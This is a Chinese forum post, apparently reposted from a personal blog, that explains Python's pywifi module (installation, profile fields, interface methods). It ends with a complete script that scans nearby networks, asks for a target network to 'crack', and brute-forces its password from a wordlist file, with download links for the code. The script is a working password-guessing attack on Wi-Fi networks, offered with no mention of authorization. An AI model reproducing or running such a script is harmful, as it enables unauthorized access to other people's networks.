找回密码
 会员注册
查看: 25|回复: 0

pythonwifi篇

[复制链接]

1

主题

0

回帖

4

积分

新手上路

积分
4
发表于 2024-9-5 16:47:51 | 显示全部楼层 |阅读模式
python~wifi篇前言最近对python的pywifi模块进行了一些学习了解,总结分享一波~原文博客地址:python~wifi篇|旅程blog(cxy.red)1.pywifi模块的安装运用python包管理工具pip下载pywifi模块,在命令行中输入以下命令:pipinstallpywifi2.各功能2.1成员变量#假设ssid,auth,akm,cipher,key已经定义profile=pywifi.Profile()profile.ssid=ssidprofile.auth=authprofile.akm=[akm]profile.cipher=cipherifcipher!=pywifi.const.CIPHER_TYPE_NONE:profile.key=key1.ssid:AP的用户名2.auth:AP的认证算法-const.AUTH_OPEN-const.AUTH_SHARED3.akm:AP的密钥管理类型-const.AKM_TYPE_NONE-const.AKM_TYPE_WPA-const.AKM_TYPE_WPAPSK-const.AKM_TYPE_WPA2-const.AKM_TYPE_WPA2PSK4.cipher:AP的密码类型-const.CIPHER_TYPE_NONE-const.CIPHER_TYPE_WEP-const.CIPHER_TYPE_TKIP-const.CIPHER_TYPE_CCMP5.key:AP的密码-如果cipher不是CIPHER_TYPE_NONE,则应设置此值。1234567891011121314151617181920212223242526272.2常用方法#假设Interface是一个已经初始化的pywifi接口对象1.#获取wifi接口的名字name=Interface.name()2.#扫描APsInterface.scan()3.#获取上次触发扫描的结果。将返回一个Profile文件列表scan_results=Interface.scan_results()4.#添加用于稍后连接的AP配置文件Interface.add_network_profile(profile)5.#删除所有AP配置Interface.remove_all_network_profiles()6.#获取所有保存的APProfilenetwork_profiles=Interface.network_profiles()#修改为无参调用7.#连接设置的APProfileInterface.connect(network_profiles[0])#假设连接第一个配置文件8.#断开当前的AP连接Interface.disconnect()9.#获取当前wifi的状态status=Interface.status()#根据status的值判断状态#例如:ifstatus==pywifi.const.IFACE_CONNECTED:123456789101112131415161718192021223.源码importosfrompywifiimportPyWiFi,const,Profileimporttimedefscan_wifi(iface):iface.scan()print("---扫描周围WiFi中---")time.sleep(1)foriiniface.scan_results():print("WiFi名称:"+i.ssid.encode("raw_unicode_escape").decode()+",信号强度:",str(i.signal+100)+"%")defconnect_to_wifi(iface,password,ssid):try:profile=Profile()profile.ssid=ssid.encode().decode("GBK")profile.akm.append(const.AKM_TYPE_WPA2PSK)profile.auth=const.AUTH_ALG_OPENprofile.cipher=const.CIPHER_TYPE_CCMPprofile.key=passwordiface.remove_all_network_profiles()test_profiles=iface.add_network_profile(profile)iface.connect(test_profiles)time.sleep(1)returniface.status()==const.IFACE_CONNECTEDexceptExceptionase:print(f"连接失败:{e}")returnFalsedefmain():wifi=PyWiFi()iface=wifi.interfaces()[0]#假设只有一个接口path=os.path.dirname(__file__)file_path=os.path.join(path,"密码本.txt")ififace.status()==const.IFACE_CONNECTED:print("请断开WiFi,再尝试运行!")status=input("如果断开WiFi可以输入1,退出脚本请按任意键:")ifstatus.strip()=="1":iface.disconnect()print("---断开WiFi中---")time.sleep(1)elififace.status()!=const.IFACE_DISCONNECTED:print("当前网卡状态异常!!!\n请重新运行")returnscan_wifi(iface)wifi_name=input("请输入想破解的WiFi名称:")print("---开始破解---")withopen(file_path,"r")asf:forpwdinf:ifconnect_to_wifi(iface,pwd.strip(),wifi_name):print("破解成功,密码为:",pwd.strip())breakelse:print("破解失败,正在尝试下一个密码...")if__name__=="__main__":main()123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657584.下载地址Github地址:https://github.com/cxy20219?tab=repositories百度网盘地址:https://pan.baidu.com/s/1HDEI0dZAQEQ2iFn9I2OOaw提取码:x36g参考文献Pywifi:Python库pywifi的详细介绍、安装方法和使用攻略-CSDN博客Pywifi用法-python-凉沐流风-博客园(cnblogs.com)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 会员注册

本版积分规则

QQ|手机版|心飞设计-版权所有:微度网络信息技术服务中心 ( 鲁ICP备17032091号-12 )|网站地图

GMT+8, 2025-1-8 11:43 , Processed in 0.784873 second(s), 26 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表